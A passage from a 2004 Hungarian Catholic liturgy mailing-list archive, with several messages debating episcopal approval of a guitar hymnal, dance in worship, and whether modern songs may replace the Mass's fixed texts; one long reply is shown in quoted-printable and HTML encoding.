azt ebbe harmonikusan kell beleilleszteni." 4. A hatályon kívül helyezett szövegrészhez Ilyés Zsolt szerencsére hozzáteszi: "Ez a változat is a helyi püspök, Püspöki Kar jóváhagyására szorul (ne önkényesen szabdaljuk, alakitsuk a szöveget)." Igen, ez a liturgikus jog alapállása. A püspöki jóváhagyás azonban megadható egy egyházzenei kidvány puszta megjelentetésére és megadható annak liturgikus használatban való alkalmazására is, a kettő között azonban óriási különbség van. Ami a Decsi Bálint által legutóbb említett ún. "gitáros Kék könyvet" és annak püspöki jóváhagyását illeti, egy szerencsés véletlennek köszönhetően ismét abba a helyzetbe kerültem, hogy eloszlathassam a vele kapcsolatos félreértéseket. Nemrég ugyanis magánlevélben megkeresett a lista egyik olvasója és éppen e kiadvány jogi természete felől érdeklődött. Azt feleltem neki, hogy nézze meg a jóváhagyás pontos szövegét, mert nem biztos, hogy az magára a liturgikus használatra is vonatkozik. Mivel nekem nincs meg a Kék könyv, arra kértem őt, kétség esetén forduljon püspökéhez vagy elöljárójához. Válaszában az illető megírta a jóváhagyás pontos szövegét: "Egyházi engedéllyel. Dr. Várszegi Asztrik főapát, püspök" Lehet, hogy a könyvet nem, a főapát urat azonban jól ismerem, így rögtön továbbítottam is neki a kérdéseket. Az ő válaszát idézem most, az ide nem tartozó részletek elhagyásával: 1. Kérdés: "Egy püspök engedélye mindenüttre érvényes, vagy csak saját területére? (Tudtommal más országokhoz tartozó magyar közösségek is használják e könyet.)" Válasz: "Az engedély természetesen csak arra a területre érvényes, ami a jog szerint Pannonhalmát megilleti, de a kérdés akadémikus, a válasz semmit sem változtat azon, hogy hol, milyen gyakorisággal használják a könyvet. Vulgata lett, ezt magam is tapasztaltam. Kérlek, olvasd el bevezetőjét, melyet Déri András barátunk írt,egy kicsit sugalltam gondolatait [...]." 2. Kérdés: "A szentmise énekei címszó alatt (407.old), például ott, hogy Gloria - Dicsőség, ilyen énekek is szerepelnek: "Bejött Jézus", "Így szólnak az angyalok", "Ki tudná megmondani", "Tied a dicsőség". Ezeknek a énekeknek szövegei nagy mértékben eltérnek a a misekönyvben előírt szövegtől." Válasz: "Ezek a szövegek csak általános használatra lettek engedélyezve és nem liturgikus használatra. A tárgymutatóban található felsorolás inkább egy-egy témához rendel hozzá énekeket. Úgy, amint a Hozsannában is a miseénekeknél találhatók strófák Szent vagy-ra, Isten bárányá-ra de nem helyettesíthetik a liturgikus szövegeket." Nagyon örülnék neki, ha mindenki, akinek valamilyen problémája van a liturgikus előírásokkal, meg tudná kérdezni papját, plébánosát, püspökét azok pontos tartalmáról, természetéről, értelméről és céljáról. Minthogy azonban erre csak keveseknek nyílik lehetősége, s akkor sem biztos, hogy (megfelelő) választ kapnak, nagy a felelőssége azoknak, akik képesek ezt a hiányt pótolni. Bizonyára egyhangú, sőt idegesítő dolog ezen a listán folyton csak arról olvasni, hogy mit, hol, hogyan és hányszor nem szabad csinálni a liturgiában. Mégis úgy gondolom, hogy ezt a hálátlan feladatot is el kell látnia valakinek. A többiről, a lényegről úgyis sokkal többen tudnak és mernek érdemben nyilatkozni. Bízom benne, hogy a levelezőlistán teret kapó ö s s z e s megnyilatkozás kontextusában az önmagukban nem túl izgalmas jogi fejtegetések is a helyükre kerülnek. Rihmer Zoltán From pestifor@axelero.hu Wed Mar 17 06:39:49 2004 From: pestifor@axelero.hu (pestifor) Date: Wed, 17 Mar 2004 07:39:49 +0100 Subject: [Liturgia] tanc (pontositas) In-Reply-To: <000001c40b2d$118cf1e0$5533fea9@iroda> Message-ID: <000001c40bea$a5d77470$5533fea9@iroda> Kedves mindenki, több visszajelzést kaptam magánban, hogy bár a lourdes-i példámat el tudják fogadni, esetleg még tetszett is, de a táncot nem hoznák be az itteni liturgiába, nem erőltetnék be a (számunkra) idegen elemeket a templomba. Bizonyára pontatlanul fogalmaztam, hiszen teljesen egyetértek ezekkel a véleményekkel: 'itt és most' egyáltalán nem tartanám szerencsének. Csak arra szerettem volna mutatni, hogy máshol a tánc az imádság során természetes módon jelen lehet. Másoknak ezt a másmilyenségét viszont nyitott szívvel tudom elfogadni és Egyházunk gazdagságaként fogom föl; ezért nem idegen számomra a gondolat. Köszönöm a magánban tett visszajelzéseket. + Marian Ui.: Mostmár tényleg igyekszem továbbra is "csak" olvasni :-) (...) > Nem idegen tőlem az a gondolat, hogyha imánkat, belső > összeszedettségünket testtartásunkkal is kifejezhetjük, akkor Istenre > hangolódásunkat, Isten utáni vágyunkat adott esetben miért ne > fejezhetnénk ki tánccal is? (Remélem, nem ijesztek meg senkit ezzel a > gondolattal, mert egyáltalán nem szándékozok forradalmi változásokat :-) > > Ezzel kapcsolatban volt egy emlékem Lourdes-ból. Nem sokkal megtérésem (...) From ilyzsolt@sis.uab.ro Sat Mar 20 15:05:29 2004 From: ilyzsolt@sis.uab.ro (=?iso-8859-1?Q?Ily=E9s_Zsolt?=) Date: Sat, 20 Mar 2004 16:05:29 +0100 Subject: [Liturgia] =?iso-8859-1?Q?Re:_egy-k=E9t_pontosit=E1s?= Message-ID: <001201c40e8c$c8ecf800$6f00a8c0@111> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C40E95.2A882D20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Tisztelt Listatagok! Pr=F3b=E1lok r=F6vid lenni, mint "Megk=E9sve?" cimu levelemben is, de ez = =FAgy l=E1tszik, hogy nem mindig szerencs=E9s. Rihmer Zsolt=E1n v=E1lasz=E1ra szeretn=E9k reflekt=E1lni. A lev=E9lnek = el=E9g nyilv=E1nval=F3an k=E9t sikja van: az egyik szem=E9lyemnek sz=F3l = (illetve annak, azoknak, akiket =E1ltalam k=E9pviselni sejt), a m=E1sik = pedig a t=E9m=E1hoz sz=F3l hozza. =C9n elsosorban ez ut=F3bbira = szeretn=E9k reag=E1lni, a m=E1sikra esetleg mag=E1nlev=E9lben (ha lesz = r=E1 idom).=20 A fordit=E1si helyesbit=E9sekkel egyet=E9rtek. Ami az elso id=E9zetet illeti: =C9n meg=E9rtem, hogy Ily=E9s Zsoltnak elsosorban az =E1ltala id=E9zett sz=F6vegr=E9sz nyerte meg a tetsz=E9s=E9t, m=E9gsem gondolom t=FAlzottan szerencs=E9snek, hogy az ezzel ellent=E9tes tartalm=FA =E9s az =E1ltalam kor=E1bban id=E9zett egy=E9b dokumentumok elo=EDr=E1saival szinte sz=F3 szerint egybev=E1g=F3 bekezd=E9seket nem tartotta =E9rdemesnek a leford=EDt=E1sra.=20 Nem az=E9rt id=E9ztem csak azt az egyetlen sz=F6vegr=E9szt, mert "az = nyerte meg a tetsz=E9semet", hanem mert r=F6vid akartam lenni, a t=F6bbi = m=E1r elhangzott, s amint akkori levelemben irtam: ezt a szempontot, az = Egyh=E1z ezir=E1ny=FA nyit=E1s=E1t senki nem emlitette.=20 S most musz=E1j akkor kit=E9rjek e LI 3. pontj=E1nak szerkezet=E9re. 3. bevezetoj=E9ben: senkinek sem szabad =F6nk=E9nyesen megv=E1ltoztatni, = m=E1ssal helyettes=EDteni oket (a liturgikus sz=F6vegeket), hozz=E1adni = vagy elvenni belol=FCk.=20 - egy p=FCsp=F6ki kari j=F3v=E1hagy=E1s nem sz=E1mit "=F6nk=E9nyesnek". 3.a) A Mise rendj=E9t (Ordo Missae) k=FCl=F6n=F6s m=F3don meg kell tartani. A benne tal=E1lhat=F3 formul=E1kon a nyilv=E1nos ford=EDt=E1sokban semmilyen m=F3don, m=E9g =E9nekes mise c=EDm=E9n sem lehet v=E1ltoztatni. - mondja a dokumentum. - Itt a mise minden sz=F6veg=E9rol sz=F3 van, az eukarisztikus im=E1t, a = mise k=F6ny=F6rg=E9seit is bele=E9rtve. Teh=E1t a dok. elosz=F6r kezdi = egy =E1ltal=E1nos szab=E1llyal, azt=E1n pedig kezdi r=E9szletezni. M=E1r = a b) v=E9g=E9n megjelenik egy figyelemrem=E9lt=F3 megjegyz=E9s: a = misekezdo =E9nek =E9s =E1ldoz=E1si =E9nek megv=E1laszt=E1s=E1n=E1l = =FCgyeljenek a h=EDvek ig=E9nyeire is, akik haszn=E1lni fogj=E1k oket. - = (R. Zolt=E1n fordit=E1s=E1b=F3l) 3.c) Itt, az =E1ltalam id=E9zett r=E9szn=E9l eg=E9szen egy=E9rtelmuen = besz=E9l sz=F6vegrol, dallamr=F3l, ritmusr=F3l, zenei form=E1kr=F3l, = hangszerekrol. S nem hiszem, hogy a f=F6nti k=E9t pont =E9rtelm=E9ben = ezt m=E1sk=E9pp k=E9ne =E9rteni, mint ahogy irva van. Hanem =E9ppen a = f=F6nti =E1ltal=E1nos kijelent=E9s r=E9szletez=E9sekor enn=E9l a = pontn=E1l maga a t=F6rv=E9nyhoz=F3 =E9rtelmezi azt igy. A 3.d) pont azt=E1n besz=E9l a k=F6ny=F6rg=E9sekrol, az e) az = olvasm=E1nyokr=F3l =E9s igy tov=E1bb. 4. A hat=E1lyon k=EDv=FCl helyezett sz=F6vegr=E9szhez Ily=E9s Zsolt szerencs=E9re hozz=E1teszi: "Ez a v=E1ltozat is a helyi p=FCsp=F6k, P=FCsp=F6ki Kar j=F3v=E1hagy=E1s=E1ra szorul (ne =F6nk=E9nyesen = szabdaljuk, alakitsuk a sz=F6veget)." - H=FA, micsoda m=E1zlista vagyok! M=E9g = tiszta szerencse! :-) K=E9ts=E9geim vannak afelol, hogy ezen dokumentumok minden pontja = =E9rv=E9ny=E9t vesztette. A LA a fordit=E1ssal kapcsolatban rendelkezik, = s nem a zenei form=E1kkal foglalkozik. Ugyanigy azt is k=E9tlem, hogy ez = a tipus=FA instrukci=F3 a gyermekmis=E9kkel kapcsolatos direkt=F3riumot = is hat=E1lyon kiv=FCl helyezn=E9. De ennek m=E9g ut=E1nan=E9zek, mihelyt = idom lesz (ha addig valaki meg nem teszi). De ha ezek a rendelkez=E9sek 2001-ben =E9rv=E9ny=FCket vesztett=E9k = (elk=E9pzelheto), akkor =E9rdemes-e m=E9g egy=E1ltal=E1n ezekrol = besz=E9lni? Nekem igen. Ha a p=FCsp=F6ki karoknak k=F6teless=E9g=FCk = lett volna egy ilyen ifj=FAs=E1gi meg gyerekmis=E9kre val=F3 = reperto=E1rt =F6ssze=E1llittatni =E9s j=F3v=E1hagyni (ahogy R. Zolt=E1n = helyenes korrig=E1lt, ez nem csak lehetos=E9g=FCk, hanem = k=F6teless=E9g=FCk lett volna), akkor k=E9rdem: ezen eloir=E1s = =E9rv=E9nyesit=E9s=E9rt is ugyanolyan lelkesen szorgalmazt=E1k-e = (2001-ig), mint ahogy most egyesek ezeknek teljes betilt=E1s=E1t?=20 S mi lesz, ha egy p=E1r =E9v mulva meg ez a rendelkez=E9s fogja = =E9rv=E9ny=E9t vesziteni? Nem lenne az elso ilyen eset az elm=FAlt 45 = =E9vben (s nem is a m=E1sodik). Amint =E9ppen Rihmer Zolt=E1n emliti, = ezen legut=F3bbi instrukci=F3 =E9ppen a nagy liturgikusok r=E9sz=E9rol = nagyon sok fenntart=E1ssal fogadott dokumentum. Biztos, hogy ez most = m=E1r egy j=F3 p=E1r nemzed=E9kig meghat=E1rozza az ir=E1nyvonalat? A zsinat nagy teol=F3gusai, a n=E9pnyelvu liturgia szorgalmaz=F3i, a = liturgia megujit=E1s=E1nak sok nagy egy=E9nis=E9ge rengeteget szenvedett = =E9s pr=F3b=E1lt=E1k oket elhalgattatni az akkor =E9rv=E9nyben levo = t=F6rv=E9nyekre hivatkozva, mely t=F6rv=E9nyek sokak meglepet=E9s=E9re a = zsinat kapcs=E1n, ut=E1n megv=E1ltoztak. Nem a szab=E1lyok ellen akarok izgatni (f=E9lre=E9rt=E9s ne ess=E9k), = hanem csak arra figyelmeztetni, hogy nem el=E9gedhet=FCnk meg =E9s nem = nyugodhatunk meg m=E9g teljesen =FAgy gondolkodv=E1n, hogy "megvannak a = szab=E1lyok, eloir=E1sok, most m=E1r nem kell gondolkodnunk, csak = engedelmeskedn=FCnk =E9s gyakorlatba =FCltetn=FCnk". Nem lehet=FCnk = szab=E1lyok embertelen =E9s k=F6ny=F6rtelen v=E9grehajt=F3i csup=E1n. De = nem akarom a listatagokat ennek kifejt=E9s=E9vel most f=E1rasztani. Az egyh=E1z nem abszolutiz=E1l. A hat=E1lyos t=F6rv=E9nyk=F6nyv=FCnket = (CIC) megnyit=F3 apostoli rendelkez=E9s igy kezdodik: A szent fegyelem = t=F6rv=E9nyeit a katolikus egyh=E1z az idok sor=E1n meg szokta = reform=E1lni =E9s meg szokta ujitani, hogy - mindig huen az isteni = alapitohoz - kelloen megfeleljenek a r=E1bizott, =FCdv=F6ss=E9gre = vez=E9rlo k=FCldet=E9snek. =C9s az utols=F3 k=E1non (1752) ezzel a = mondattal z=E1rja az eg=E9sz t=F6rv=E9nyk=F6nyvet: ...a lelkek = =FCdv=F6ss=E9g=E9nek az egyh=E1zban mindig a legfobb t=F6rv=E9nynek kell = lennie. A L=E9lek munk=E1ja nyom=E1n sz=FCletett =FAj mozgalmak (=E9s ezt is az = egyh=E1zunk ismerte el a L=E9lek munk=E1j=E1nak!) nem a gregori=E1n =E9s = az orgona dallamvil=E1g=E1val, stilus=E1val =E9lnek (persze =E9nekelnek = n=E9ha gregori=E1nt is ha kell). Rengeteg =E9let=F6r=F6met, oszinte = hitet =E9s h=E1laad=E1st tapasztaltam benn=FCk, rengeteg komoly = hivat=E1s (papi, szerzetesi =E9s csal=E1dos) =E9rlelod=F6tt e = nem-gregori=E1n =E9nekanyagot haszn=E1l=F3 k=F6z=F6ss=E9gekben (pl. = Fokolare, Szent Egyed, Neokatekumen stb. k=F6z=F6ss=E9gekben). Angol = nyelvter=FCleten (p=E9ld=E1ul) nem lelkis=E9gi k=F6rnyezetben is j=F3 = p=E1r nagyon =E9rt=E9kes, mis=E9n haszn=E1lt =E9neket hallottam. Nagyon = m=E9ly teol=F3giai mondanival=F3val, komoly bibliai alapokkal =E9s j=F3 = szinvonal=FA, de "modern" stilus=FA zen=E9vel.=20 Az Egyh=E1z v=E9deni akarja t=F6rv=E9nyeivel a liturgi=E1t a = k=E1oszt=F3l (=E9s ez rendj=E9n is van), v=E9deni akarja kincseit az = eltun=E9stol (=E9s ez is rendj=E9n van). Keresi a hely=E9t =E9s = szerep=E9t az =FAjnak (=E9s e t=E9ren m=E9g sok a keres=E9s sok a = tennival=F3 =E9s sok minden lesz), =E9s prob=E1lja komolyan felismerni = =E9s =E9rtelmezni az "idok jeleit". =C9n az=E9rt bizom =E9s az=E9rt = vagyok nyugodt =E9s der=FCs, mert az =FAj nemzed=E9k ezen = keres=E9s=E9ben, ezen vergod=E9s=E9ben a L=E9lek munk=E1j=E1t l=E1tom, = amire egyh=E1zunk is f=F6lfigyelt. Van, aki megel=E9gszik a = gregori=E1nnal =E9s az orgon=E1val =E9s ez kiel=E9giti ig=E9nyeit =E9s = n=F6veli, m=E9lyiti hit=E9t. Rendben van. Istennek legyen h=E1la =E9rte = =E9s csak megerositeni akarn=E9k mindenkit ezen =FAtj=E1ban. De vannak, = akik Isten v=E9gtelen gazdags=E1g=E1nak k=F6sz=F6nhetoen m=E1sk=E9nt = =E9lik meg mindezt, akik e mellett (=E9s nem ez ellen=E9ben!!!) valami = egy=E9bre is szomjaznak, v=E1gynak. Az egyh=E1z =E1ltal is elimesmert = =E9s t=E1mogatott lelkis=E9gekben ezen =FAj ig=E9nyek el=E9g = nyilv=E1nval=F3kk=E1 v=E1lnak. Legyen-e vagy ne m=E1s sz=F6vegu ordin=E1rium (Kyrie, Gloria stb)? Nem = ez a legfontosabb k=E9rd=E9s. Legyenek megfelelo sz=F6vegu =E9s = dallam=FA, ig=E9nyes, korszeru =E9nekeink misekezd=E9sre, = felaj=E1nl=E1sra, =E1ldoz=E1sra, kivonul=E1sra. Legyenek sz=F6veghu, de = "modern" dallam=FA szinvonalas ordin=E1riumaink. Legyenek megzen=E9sitve = saj=E1t dallamra zsolt=E1raink, azok megfelelo hangulat=E1t, = =E9rz=E9seit kifejezoen. Legyenek himnuszaink (pl zsolozsma himnuszainak = dallamai). Ez igen komoly feladat. Ha m=E1r mindez megvan s m=E9g mindig = nagy probl=E9mak=E9nt jelentkezne a "Szent vagy, szent vagy" sz=F6vege, = akkor ezek ut=E1n =E9rdemes lesz ezen is elgondolkodni. De addig m=E9g = hosszu =FAt =E9s rengeteg tennival=F3 v=E1r r=E1nk. S v=E9g=FCl mindenkit csak arra tudn=E9k buzditani, hogy ismerje meg = egyh=E1zunk csod=E1latos liturgikus kincs=E9t, amit az elm=FAlt = =E9vsz=E1zadok sor=E1n alkotott =E9s kikrist=E1lyositott. Ezt a munk=E1t = nem p=F3tolhatja az =FAj utak, =FAj form=E1k keres=E9se. Tisztelettel: Ily=E9s Zsolt ------=_NextPart_000_000F_01C40E95.2A882D20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Tisztelt Listatagok!
 
Pr=F3b=E1lok r=F6vid lenni, mint = "Megk=E9sve?" cimű=20 levelemben is, de ez =FAgy l=E1tszik, hogy nem mindig = szerencs=E9s.
Rihmer Zsolt=E1n v=E1lasz=E1ra = szeretn=E9k reflekt=E1lni. A=20 lev=E9lnek el=E9g nyilv=E1nval=F3an k=E9t sikja van: az egyik = szem=E9lyemnek sz=F3l (illetve=20 annak, azoknak, akiket =E1ltalam k=E9pviselni sejt), a m=E1sik pedig a = t=E9m=E1hoz sz=F3l=20 hozza. =C9n elsősorban ez ut=F3bbira szeretn=E9k reag=E1lni, a = m=E1sikra esetleg=20 mag=E1nlev=E9lben (ha lesz r=E1 időm).
A fordit=E1si helyesbit=E9sekkel=20 egyet=E9rtek.
 
Ami az első id=E9zetet = illeti:
=C9n meg=E9rtem, hogy Ily=E9s
Zsoltnak elsősorban az = =E1ltala id=E9zett=20 sz=F6vegr=E9sz nyerte meg
a tetsz=E9s=E9t, m=E9gsem gondolom = t=FAlzottan szerencs=E9snek,=20 hogy
az ezzel ellent=E9tes tartalm=FA =E9s az =E1ltalam kor=E1bban = id=E9zett
egy=E9b=20 dokumentumok elő=EDr=E1saival szinte sz=F3 szerint = egybev=E1g=F3
bekezd=E9seket nem=20 tartotta =E9rdemesnek a leford=EDt=E1sra.
Nem az=E9rt id=E9ztem csak azt az = egyetlen sz=F6vegr=E9szt,=20 mert "az nyerte meg a tetsz=E9semet", hanem mert r=F6vid akartam lenni, = a t=F6bbi m=E1r=20 elhangzott, s amint akkori levelemben irtam: ezt a szempontot, az = Egyh=E1z=20 ezir=E1ny=FA nyit=E1s=E1t senki nem emlitette.
 
S most musz=E1j akkor kit=E9rjek e LI = 3. pontj=E1nak=20 szerkezet=E9re.
3. bevezetőj=E9ben: senkinek sem szabad =F6nk=E9nyesen megv=E1ltoztatni, m=E1ssal = helyettes=EDteni őket=20 (a liturgikus sz=F6vegeket), hozz=E1adni vagy elvenni belől=FCk. =
- egy p=FCsp=F6ki=20 kari j=F3v=E1hagy=E1s nem sz=E1mit = "=F6nk=E9nyesnek".
 
3.a) A Mise=20 rendj=E9t (Ordo Missae) k=FCl=F6n=F6s m=F3don meg kell
tartani. A = benne tal=E1lhat=F3=20 formul=E1kon a nyilv=E1nos
ford=EDt=E1sokban semmilyen m=F3don, m=E9g = =E9nekes mise c=EDm=E9n=20 sem
lehet v=E1ltoztatni.  - mondja a = dokumentum.
- Itt a mise=20 minden sz=F6veg=E9ről sz=F3 van, az eukarisztikus im=E1t, a mise = k=F6ny=F6rg=E9seit is=20 bele=E9rtve. Teh=E1t a dok. elősz=F6r kezdi egy =E1ltal=E1nos = szab=E1llyal, azt=E1n pedig=20 kezdi r=E9szletezni. M=E1r a b) v=E9g=E9n megjelenik egy = figyelemrem=E9lt=F3 megjegyz=E9s: a=20 misekezdő =E9nek =E9s =E1ldoz=E1si =E9nek megv=E1laszt=E1s=E1n=E1l = =FCgyeljenek a h=EDvek=20 ig=E9nyeire is, akik haszn=E1lni fogj=E1k őket. - (R. Zolt=E1n = fordit=E1s=E1b=F3l)
3.c) Itt, az=20 =E1ltalam id=E9zett r=E9szn=E9l eg=E9szen egy=E9rtelműen besz=E9l = sz=F6vegről, dallamr=F3l,=20 ritmusr=F3l, zenei form=E1kr=F3l, hangszerekről. S nem hiszem, hogy = a f=F6nti k=E9t pont=20 =E9rtelm=E9ben ezt m=E1sk=E9pp k=E9ne =E9rteni, mint ahogy irva van. = Hanem =E9ppen a f=F6nti=20 =E1ltal=E1nos kijelent=E9s r=E9szletez=E9sekor enn=E9l a pontn=E1l maga = a t=F6rv=E9nyhoz=F3=20 =E9rtelmezi azt igy.
A 3.d) pont azt=E1n besz=E9l a k=F6ny=F6rg=E9sekről, az e) az = olvasm=E1nyokr=F3l =E9s igy=20 tov=E1bb.
 
4. A hat=E1lyon k=EDv=FCl helyezett sz=F6vegr=E9szhez Ily=E9s = Zsolt
szerencs=E9re=20 hozz=E1teszi: "Ez a v=E1ltozat is a helyi p=FCsp=F6k,
P=FCsp=F6ki Kar = j=F3v=E1hagy=E1s=E1ra=20 szorul (ne =F6nk=E9nyesen szabdaljuk,
alakitsuk a sz=F6veget)." - = H=FA, micsoda=20 m=E1zlista vagyok! M=E9g tiszta szerencse! :-)
 
K=E9ts=E9geim vannak afelől, hogy = ezen dokumentumok=20 minden pontja =E9rv=E9ny=E9t vesztette. A LA a fordit=E1ssal = kapcsolatban rendelkezik, s=20 nem a zenei form=E1kkal foglalkozik. Ugyanigy azt is k=E9tlem, hogy ez a = tipus=FA=20 instrukci=F3 a gyermekmis=E9kkel kapcsolatos direkt=F3riumot is = hat=E1lyon kiv=FCl=20 helyezn=E9. De ennek m=E9g ut=E1nan=E9zek, mihelyt időm lesz (ha = addig valaki meg nem=20 teszi).
 
De ha ezek a rendelkez=E9sek 2001-ben = =E9rv=E9ny=FCket=20 vesztett=E9k (elk=E9pzelhető), akkor =E9rdemes-e m=E9g = egy=E1ltal=E1n ezekről=20 besz=E9lni? Nekem igen. Ha a p=FCsp=F6ki karoknak = k=F6teless=E9g=FCk lett volna egy=20 ilyen ifj=FAs=E1gi meg gyerekmis=E9kre val=F3 reperto=E1rt = =F6ssze=E1llittatni =E9s=20 j=F3v=E1hagyni (ahogy R. Zolt=E1n helyenes korrig=E1lt, ez nem csak = lehetős=E9g=FCk, hanem=20 k=F6teless=E9g=FCk lett volna), akkor k=E9rdem: ezen előir=E1s = =E9rv=E9nyesit=E9s=E9rt is=20 ugyanolyan lelkesen szorgalmazt=E1k-e (2001-ig), mint ahogy most egyesek = ezeknek=20 teljes betilt=E1s=E1t?
S mi lesz, ha egy p=E1r =E9v mulva meg = ez a rendelkez=E9s=20 fogja =E9rv=E9ny=E9t vesziteni? Nem lenne az első ilyen eset az = elm=FAlt 45 =E9vben (s nem=20 is a m=E1sodik). Amint =E9ppen Rihmer Zolt=E1n emliti, ezen legut=F3bbi = instrukci=F3 =E9ppen=20 a nagy liturgikusok r=E9sz=E9ről nagyon sok fenntart=E1ssal = fogadott dokumentum.=20 Biztos, hogy ez most m=E1r egy j=F3 p=E1r nemzed=E9kig meghat=E1rozza az = ir=E1nyvonalat?
A zsinat nagy teol=F3gusai, a = n=E9pnyelvű liturgia=20 szorgalmaz=F3i, a liturgia megujit=E1s=E1nak sok nagy egy=E9nis=E9ge = rengeteget szenvedett=20 =E9s pr=F3b=E1lt=E1k őket elhalgattatni az akkor =E9rv=E9nyben = levő t=F6rv=E9nyekre hivatkozva,=20 mely t=F6rv=E9nyek sokak meglepet=E9s=E9re a zsinat kapcs=E1n, ut=E1n=20 megv=E1ltoztak.
 
Nem a szab=E1lyok ellen akarok izgatni = (f=E9lre=E9rt=E9s ne=20 ess=E9k), hanem csak arra figyelmeztetni, hogy nem el=E9gedhet=FCnk meg = =E9s nem=20 nyugodhatunk meg m=E9g teljesen =FAgy gondolkodv=E1n, hogy "megvannak a = szab=E1lyok,=20 előir=E1sok, most m=E1r nem kell gondolkodnunk, csak = engedelmeskedn=FCnk =E9s=20 gyakorlatba =FCltetn=FCnk". Nem lehet=FCnk szab=E1lyok embertelen =E9s = k=F6ny=F6rtelen=20 v=E9grehajt=F3i csup=E1n. De nem akarom a listatagokat ennek = kifejt=E9s=E9vel most=20 f=E1rasztani.
Az egyh=E1z nem abszolutiz=E1l. A = hat=E1lyos=20 t=F6rv=E9nyk=F6nyv=FCnket (CIC) megnyit=F3 apostoli = rendelkez=E9s igy kezdődik:=20 A szent fegyelem t=F6rv=E9nyeit a katolikus egyh=E1z az idők = sor=E1n meg szokta=20 reform=E1lni =E9s meg szokta ujitani, hogy - mindig hűen az isteni = alapitohoz -=20 kellően megfeleljenek a r=E1bizott, =FCdv=F6ss=E9gre vez=E9rlő = k=FCldet=E9snek. =C9s az=20 utols=F3 k=E1non (1752) ezzel a mondattal z=E1rja az eg=E9sz = t=F6rv=E9nyk=F6nyvet: ...a=20 lelkek =FCdv=F6ss=E9g=E9nek az egyh=E1zban mindig a legfőbb = t=F6rv=E9nynek kell=20 lennie.
 
A L=E9lek munk=E1ja nyom=E1n = sz=FCletett =FAj mozgalmak (=E9s=20 ezt is az egyh=E1zunk ismerte el a L=E9lek munk=E1j=E1nak!) nem a = gregori=E1n =E9s az orgona=20 dallamvil=E1g=E1val, stilus=E1val =E9lnek (persze =E9nekelnek n=E9ha = gregori=E1nt is ha kell).=20 Rengeteg =E9let=F6r=F6met, őszinte hitet =E9s h=E1laad=E1st = tapasztaltam benn=FCk, rengeteg=20 komoly hivat=E1s (papi, szerzetesi =E9s csal=E1dos) =E9rlelőd=F6tt = e nem-gregori=E1n=20 =E9nekanyagot haszn=E1l=F3 k=F6z=F6ss=E9gekben (pl. Fokolare, Szent = Egyed, Neokatekumen stb.=20 k=F6z=F6ss=E9gekben). Angol nyelvter=FCleten (p=E9ld=E1ul) nem = lelkis=E9gi k=F6rnyezetben is j=F3=20 p=E1r nagyon =E9rt=E9kes, mis=E9n haszn=E1lt =E9neket hallottam. Nagyon = m=E9ly teol=F3giai=20 mondanival=F3val, komoly bibliai alapokkal =E9s j=F3 szinvonal=FA, de = "modern" stilus=FA=20 zen=E9vel.
Az Egyh=E1z v=E9deni akarja = t=F6rv=E9nyeivel a liturgi=E1t a=20 k=E1oszt=F3l (=E9s ez rendj=E9n is van), v=E9deni akarja kincseit az = eltűn=E9stől (=E9s ez is=20 rendj=E9n van). Keresi a hely=E9t =E9s szerep=E9t az =FAjnak (=E9s e = t=E9ren m=E9g sok a=20 keres=E9s sok a tennival=F3 =E9s sok minden lesz), =E9s prob=E1lja = komolyan felismerni =E9s=20 =E9rtelmezni az "idők jeleit". =C9n az=E9rt bizom =E9s az=E9rt = vagyok nyugodt =E9s der=FCs,=20 mert az =FAj nemzed=E9k ezen keres=E9s=E9ben, ezen vergőd=E9s=E9ben = a L=E9lek munk=E1j=E1t l=E1tom,=20 amire egyh=E1zunk is f=F6lfigyelt. Van, aki megel=E9gszik a = gregori=E1nnal =E9s az=20 orgon=E1val =E9s ez kiel=E9giti ig=E9nyeit =E9s n=F6veli, m=E9lyiti = hit=E9t. Rendben van.=20 Istennek legyen h=E1la =E9rte =E9s csak megerősiteni akarn=E9k = mindenkit ezen =FAtj=E1ban.=20 De vannak, akik Isten v=E9gtelen gazdags=E1g=E1nak k=F6sz=F6nhetően = m=E1sk=E9nt =E9lik meg=20 mindezt, akik e mellett (=E9s nem ez ellen=E9ben!!!) valami egy=E9bre is = szomjaznak,=20 v=E1gynak. Az egyh=E1z =E1ltal is elimesmert =E9s t=E1mogatott = lelkis=E9gekben ezen =FAj=20 ig=E9nyek el=E9g nyilv=E1nval=F3kk=E1 v=E1lnak.
 
Legyen-e vagy ne m=E1s sz=F6vegű = ordin=E1rium (Kyrie,=20 Gloria stb)? Nem ez a legfontosabb k=E9rd=E9s. Legyenek megfelelő = sz=F6vegű =E9s=20 dallam=FA, ig=E9nyes, korszerű =E9nekeink misekezd=E9sre, = felaj=E1nl=E1sra, =E1ldoz=E1sra,=20 kivonul=E1sra. Legyenek sz=F6veghű, de "modern" dallam=FA = szinvonalas ordin=E1riumaink.=20 Legyenek megzen=E9sitve saj=E1t dallamra zsolt=E1raink, azok = megfelelő hangulat=E1t,=20 =E9rz=E9seit kifejezően. Legyenek himnuszaink (pl zsolozsma = himnuszainak dallamai).=20 Ez igen komoly feladat. Ha m=E1r mindez megvan s m=E9g mindig nagy = probl=E9mak=E9nt=20 jelentkezne a "Szent vagy, szent vagy" sz=F6vege, akkor ezek ut=E1n = =E9rdemes lesz=20 ezen is elgondolkodni. De addig m=E9g hosszu =FAt =E9s rengeteg = tennival=F3 v=E1r=20 r=E1nk.
 
S v=E9g=FCl mindenkit csak arra = tudn=E9k buzditani, hogy=20 ismerje meg egyh=E1zunk csod=E1latos liturgikus kincs=E9t, amit az = elm=FAlt =E9vsz=E1zadok=20 sor=E1n alkotott =E9s kikrist=E1lyositott. Ezt a munk=E1t nem = p=F3tolhatja az =FAj utak, =FAj=20 form=E1k keres=E9se.
 
Tisztelettel:
 
Ily=E9s = Zsolt
